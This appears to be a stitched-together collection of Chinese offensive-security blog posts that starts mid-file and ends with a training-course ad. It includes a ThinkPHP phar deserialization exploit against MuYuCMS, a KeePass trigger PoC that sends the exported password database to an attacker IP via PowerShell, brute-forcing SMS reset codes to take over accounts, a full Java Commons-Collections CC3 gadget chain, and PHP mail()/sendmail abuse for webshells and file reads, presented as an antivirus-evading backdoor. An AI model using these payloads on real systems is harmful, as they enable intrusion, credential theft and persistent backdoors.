$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["calc"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
@unlink('shell.jpg');
$phar = new Phar("shell.phar"); //
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Windows();
//$object ->haha= 'eval(@$_POST[\'a\']);';
// $object ->haha= 'phpinfo();';
$phar->setMetadata($object);
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
echo (base64_encode(serialize(new Windows())));
}
?>
生成 phar 序列化数据包 修改后缀,启动 python 服务器
构造数据包下载远程的文件到本地
GET /public/static/admin/static/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:8000/shell.png HTTP/1.1
Host: test.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
执行 phar 序列化
http://test.test/admin.php/update/rmdirr.html?dirname=phar://./public/upload/images/1676882763141961.png
注意事项
在最开始,获取远程图片的时候,一直出现错误 提示 链接contentType不正确 通过在代码中查找,定位到问题位置
校验了 Content-Type 的值 经过不断的调试仍然发现不了问题出现在哪
但是发现通过 phpstudy 默认的 apache 服务是没问题的 通过抓包对比发现 一个是 Content-Type 另一个是 Content-type
我直接修改了 python 的源代码 将其中的小写 t 替换成了大写 T
漏洞分析
\app\admin\controller\Update::rmdirr
通过协议绕过了对文件名的检测然后触发了反序列漏洞
MuYuCMS-master/public/static/admin/static/ueditor/php/controller.php
KeePass敏感信息明文传输漏洞复现 (CVE-2023-24055)
一、漏洞描述
漏洞简述
KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。
对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
漏洞影响范围
供应商:KeePass
产品:KeePass Password Safe 2
确认受影响版本:KeePass 2.53版本
修复版本:KeePass 2.53.1版本
二、漏洞复现实战
环境搭建
Step 1 KeePass 2.53
下载地址:https://keepass.info/
Step 2 KeePass翻译语言包
下载地址:https://keepass.info/translations.html
将语言包文件复制至安装路径下“Languages”文件夹下
在KeePass中进入语言设置,切换语言
漏洞复现
根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。
创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式:
(1)POC写入配置文件
将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。
其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。
利用powershell以GET方式传输数据库中密码文件。
POC:
<TriggerSystem>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
保存KeePass.config.xml文件,触发器功能查看exploit触发器
(2)通过触发器功能手工创建触发器
以官方触发器构成为参考
https://keepass.info/help/kb/trigger_examples.htmlexploit触发器配置如下:
属性项:命名为exploit,其余默认配置
事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等)
条件项:为空
操作项:
导出当前数据库
文件路径为上述文件传输路径
文件格式选择 KeePass XML (2.x)
执行命令行/URL
文件路径为PowerShell.exe ,使触发器执行PowerShell
参数选择攻击接收的路径
窗口方式选择Hidden
完成创建,可以看到exploit触发器
在攻击机 创建web服务,后续接收传输后的密码明文;
在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息
进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。
漏洞修复
建议更新至KeePass 2.53.1 版本
结束语
本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
一次漏洞挖掘的简单组合拳
前言:
在最近的wxb举行hw中,同事让我帮他看看一些后台登录站点。尝试了未授权,弱口令皆无果,要么不存在弱口令,要么有验证码,没办法绕过。本文章仅提供一个思路,在hw中更多时候并不推荐尝试这种思路,只能作为一种解,因为花费的时间较长,前后大概花费了一个小时才拿下一个后台账号。
过程及思路:
在外围打点的过程中发现了一个站点,存在用户名枚举:
然后看到下面的验证码,估计很多都会放弃了吧!短信验证码+密码才能登录,爆破难度太大了。我一开始也是这么想的,后面尝试了下面的找回密码,看看是否能任意修改他人的账号密码。
后续先用自己不常用的手机号获取下验证码(这一步其实在hw中是很危险的,很容易被溯源)。发现短信验证码为四位数,而且失效时间大约在3分钟左右。查看这边重置密码的条件也就是短信验证码。这时候还记得我们前面发现的用户名枚举吗?我的思路是结合这两个漏洞,实现重置他人密码。
那么问题来了,我怎么知道用户的手机号码呢?或者说,手机号码那么多我要怎么找呢?这个是一个地级市的服务平台,那么他的用户理论上会存在大部分的该地级市的手机号码。每个地区的号码都是由前七位控制的,那么就可以查询一个地区的所有前七位号码,在加上遍历后面4位号码即可获得一个地区的手机号字典。这边给大家推荐一个工具,可以用来爬取一个地级市所有的手机号码。使用后会在本地生成字典号码。
然后把这些号码用burp去爆破,就可以获取到数据库里面存在的账号了。
通过爆破,我们获取到了后台账号,再结合前面的4位数验证码,去尝试爆破。
抓取重置密码的请求包,密码我们提前写好了:
再用intruder去爆破短信验证码:
皇天不负有心人,尝试了几次,终于成功了。当我高高兴兴拿着密码去登录时,发现还要验证码,这时候再重复一下前面的操作就行了。
然后就是把整个响应包的内容复制下来,再去点击下登录,然后替换掉登录报错的信息即可成功进入后台。
里面富含大量敏感信息,虽然没啥用。
然后在功能列表里面找到一个上传图片的地方,并未做过滤,成功上传木马:
但是没啥用,解析不了QAQ。本次只是给大家介绍一下思路,方法是可行的。其实我也不想用这种方法,但是更多的是想验证自己的猜想,才最终去实践证明。
CC1打不通时的另外一条链CC3
在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块或构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。
ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass:
这个defineClass又在当前类中被defineTransletClasses调用:
defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用:
第一个返回_class:
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
第二个返回了_class的下标:
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
下一调用点还是在这个类中,我们找到newTransformer()这个方法:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
我们来梳理一下到目前的调用链,很短也很方便:
我们先将payload写出来:
TemplatesImpl templatesimpl = new TemplatesImpl();
templatesimpl.newTransformer();
写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:
newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()我们就需要让name不为空,class为空,直接不给_class赋值即可:
if (_name == null) return null;
if (_class == null) defineTransletClasses();
继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes从而控制class的值:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型:
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行:
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下):
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);Test.class
public class Calc {
static{
try {
Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令
} catch (IOException e) { //win下还是calc
throw new RuntimeException(e);
}
}
}
然后我们再来改_tfactory的值:
这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值
private transient TransformerFactoryImpl _tfactory = null;
我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例:
_name = (String)gf.get("_name", null);
//以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的):
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常:
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
第一个if检查class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类:
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
修改恶意类,继承的父类中有两个抽象方法需要进行重写:
public class Calc extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("open -na Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
现在就可以弹出计算器了,如果你这里没有弹出来,看一下import的包是不是有问题,TemplatesImpl和TransformerFactoryImpl的路径一定要是com.xxx,如果是org.xxx是不能用的:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
}
}
下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行:
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
ctf.transform(1);
剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是:
package ysoserial.payloads.Test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
}
相较于CC1来说一个是通过调用Runtime来进行命令执行,一个是通过动态类加载进行代码执行,如果过滤了Runtime我们就可以尝试用这条CC3
接下来我们在来说ysoserial上用的另一条调用链:
我们回到newTransformer,刚才说的是用CC1后半段直接调用,我们接着向下找调用newTransformer 的地方,最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java 这个类上,这个类没有继承serialize接口,也就是说我们没办法通过反射来修改实例中属性的值,但是我们想到对属性值进行初始化的操作一般在构造函数中,我们来看一下它的构造函数:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们可以通过这个构造函数来控制这个templates的值,所以下一步就是要找可以调用这个构造函数的地方,ysoserial中给出了InstantiateTransformer 这个类,通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数:
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
也就是说下面两行代码就可以执行newTransformer了:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
instantiateTransformer.transform(TrAXFilter.class);
最终还是用ChainedTransformer包裹起来执行:
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
完整的CC6调用链,当InvokerTransformer被ban时就可以用这条链:
从一次有趣的漏洞分析到一个有趣的PHP后门
起因
事情的起因很有趣,前几天我正对着电脑发呆的时候,突然有个安全交流群的群友来找我交流一个问题
大概的意思就是,他在挖SRC的时候,发现一处资产存在目录遍历漏洞,它通过这个漏洞,找到目标资产使用了一个名为phpmailer的中间件(应该类似于中间件吧),问我有没有办法利用,我查了一下这个组件的漏洞信息。最新的洞似乎截止到6.5.0版本以前
很不幸,群友这个版本是6.5.1,刚好就不能利用了
找不到符合版本的洞没关系,抱着学习的心态,我还是看了一下它的历史漏洞成因,不看不知道,看了之后就学到一些好玩的新知识了,这也就是为什么会有这篇文章的原因。
CVE-2016-10033的简单分析
CVE-2016-10033是Phpmailer出现过的最经典的的漏洞,在本文正式开始之前,我们先来简单分析一下这个漏洞。读者可以到:
https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php看到phpmailer的代码。这里先开门见山地说,漏洞的成因其实就在mail()函数的第五个参数,只要控制了第五个参数,我们就能进行RCE、文件读取等操作。因此我们先追溯mail()函数:
因此我们可以先定位到mailPassthru()这一方法,可以看到,这个方法内部就使用了mail(),maill的第五个参数也就是mailPassthru()的第五个参数。
因此,我们再查看有没有别的地方使用了mailPassthru(),可以找到这个maillSend()方法中使用了mailPassthru()方法,并且第五个参数$params是来自于当前类中的Sender属性
那我们回溯Sender属性,看看有什么地方可以控制Sender属性。
这里可以看到,setFrom方法当中,就可以对Sender属性进行赋值
当然,这个漏洞还有一个重点就是对validateAddress()这一方法的绕过,这也是CVE-2016-10033的精彩部分。
但是它和本文的重点不符,所以我们就不深入分析这块。
既然知道了Sender这个关键属性是怎么赋值的,接下来我们继续分析mailSend()方法的调用链,可以找到postSend()方法
继续看postSend(),最终可以找到send()方法
自此,整个漏洞的传参流程我们就已经分析完了。大体上来说,只要我们用setFrom()方法对Sender属性赋值,再调用send()方法。那么Sender属性的值就会进入到mail()函数的第五个参数中,从而实现RCE。看到这想必很多读者已经对开篇提到的这个mail()函数的第五个参数提起兴趣了,为什么控制了它就能实现RCE呢?这就要提到php中 mail()函数的实现原理了。
有趣的mail()
mail()函数是php定义的用来发送邮件的函数,其支持的参数如下:
为什么一个发送邮件的函数能造成RCE?前人的安研经验已经告诉了我们答案。Php的mail()函数,其底层其实是调用了linux下的sendmail命令。由于sendmail支持一些有趣的参数,这就会造成更大的危害。
①日志写入导致的RCE
接着上面提到的内容来说,我们首先要介绍的是sendmaill的X和O参数,其效果分别为:
-X logfile :指定一个文件来记录邮件发送的详细日志。
-O option=value :临时设置一个邮件储存的临时位置。
看到这大部分读者应该马上能反应过来,我们能指定文件来储存邮件发送的日志,那不就可以写日志getshell了吗?事实也的确如此。了解这个信息之后,我们再回过头看mail()函数支持的第五个参数:
没错,我们可以用这个第五个参数来控制sendmail的额外参数,那我们控制X的参数值不就拿下了?我们可以使用如下demo进行测试:
<?php
$to = 'La2uR1te@b.c';
$subject = '<?php system("whoami"); ?>'; //你想执行的任意php代码
$message = '<?php system("ls ./"); ?>';//同上
$headers = '';
$addtionparam = '-f La2uR1te@1 -OQueueDirectory=/tmp/
-X/var/www/html/1.php';
//假设我们已知目标站点绝对路径
mail($to, $subject, $message, $headers, $param);
?>
比如我在自己的服务器上运行如下代码,我们假设网站根目录是/root/,我们运行一下上述代码看看会发生什么。(在复现的时候确保你已经安装过sendmail,不然没用)。
运行完之后,我们在root目录下确实发现了一个名为testmail.php的文件。
我们看看它的内容是什么:
其实他的内容很多,就是日志文件。但是看箭头指的地方,毫无疑问,我们的代码已经被成功写入了。这时候如果我们再用php来执行这个testmail.php,注意看前后的区别
当前用户就是root,当前目录下只有testmail.php和test.php,毫无疑问,我们的恶意代码已经被成功执行了。
综上,如果我们知道目标网站的绝对路径、目标网站是linux环境并且php底层使用sendmail进行发送邮件(默认),那么就可以使用mail()函数来执行写入日志文件的GETSHELL。
②读取配置文件导致的任意文件读取
这个函数好玩的地方不止于此,它还可以用于任意文件读取。我们修改一下上面的demo
注意看这里,我们使用了-C参数,后面跟着我们想读取的文件。这样就能直接实现任意文件读取了!
如下图,直接读文件一把梭
③进阶技巧之利用配置文件执行代码
设想这么一个变态的情况,整个网站,假设我们只有一个可供文件写入的点,并且还有很严格的过滤。这个时候有没有能够用mail()来操作的可能呢?再说回sendmail命令的特性,默认会使用sendmail-mta来解析待发送的邮件内容,我们其实有办法覆盖sendmail的解析配置,让它用php来解析我们要发送的邮件内容,从而直接完成命令执行。
我们首先到/etc/mail/sendmail.cg,复制其内容。然后在其内容结尾加上如下配置:
Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
A=php -- $u $h ${client_addr}
把这个新文件命名为sendmail_cf
接着我们执行如下命令,因为这玩意不能回显,所以我们还是让它新创建几个文件:
执行上面的代码之后。可以看到tmp目录下多出一个xnklgxfc(提前祝师傅们新年快乐恭喜发财哈)
④进阶技巧之Exim4情况下mail()函数操作
这里因为环境没配置好,所以没有演示成功,我就借助别的师傅的结果了
mail()函数的底层虽然是sendmail命令,但有时它也有可能是exim4命令。比方说在ubuntu/debain中,sendmail实际上软连接到了exim4。也就是说,我们有新姿势了(exim4的各种参数和能打出的操作都是不同的)
这里我们介绍一个,-be参数,这个参数事exim4中的运行扩展模式参数,这个参数支持我们打出大量操作,例如:
-be ${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>,成功返回string1,失败返回string2
-be ${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取,在string3中从string1开始截取string2个字符
-be ${readfile{<file name>}{<eol string>}}
//读文件file name,以eol string分割
-be ${readsocket{<name>}{<request>}{<timeout>}{<eolstring>}{ <fail string>}}
//发送socket消息,消息内容为request
没错,你可以发现,这玩意除了可以进行直接的命令执行(不需要写日志文件getshell了),虽然不能回显,但是弹个shell就是简简单单。并且还是可以任意文件读取。并且最骚的是可以用substr来进行字符串截取,这样的话就支持我们进行很多绕过WAF的操作。
利用mail()来造一个简单的后门
上文提到了各种mail()的骚操作,我在学习复现的过程中除了感到NB无话可说。它的种种特性不禁让我思考,它是否有成为后门的潜质,它在正常的linux环境就可以实现日志getshell以及任意文件读取。在其它特定情况下它也可以无回显进行命令执行。并且它是一个再正常不过的函数,一般的开发和安全人员可能都不会觉得这样一个人畜无害的邮件发送函数能造成什么危害。抱着这样的心态,我先简单的实现了这么一个功能:
其中$e的明文内容为:-f La2uR1te@1 -OQueueDirectory=/tmp/-X/root/mailshell.php
而$a/$b/$c/$d的内容均为phpshell。我们拿它到实际环境去试试看能不能成功实现我们刚刚演示的效果。如果运行成功,那么应该会在root目录下生成mailshell.php
如图,mailshell.php成功生成
其内容即为php一句话
所以我们继续改造一下这个后门,让其变得更加可控。根据上面的总结我们可以知道只要控制第五个参数就行,所以我们的改造也十分简单:
这个后门最后能实现的效果包括但不限于:①linux环境下的任意文件写入(可getshell)②linux环境下的任意文件读取③特定环境(比如mail()底层使用exim4或软连接到exim4)下的无回显命令执行、代码执行
截至本文发表,这个结构极其简单的后门依然具有不错的免杀能力:
后记
之所以说本文是炒冷饭,是因为安全圈至少在2016年之前就已经知道mail()函数造成的危害。而更多深入利用姿势在17年和18年都有师傅总结。对于我这个萌新来说,确实是大开眼界叹为观止,果然漏洞的复现一定要及时搞,不然容易错过很多有趣的知识。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

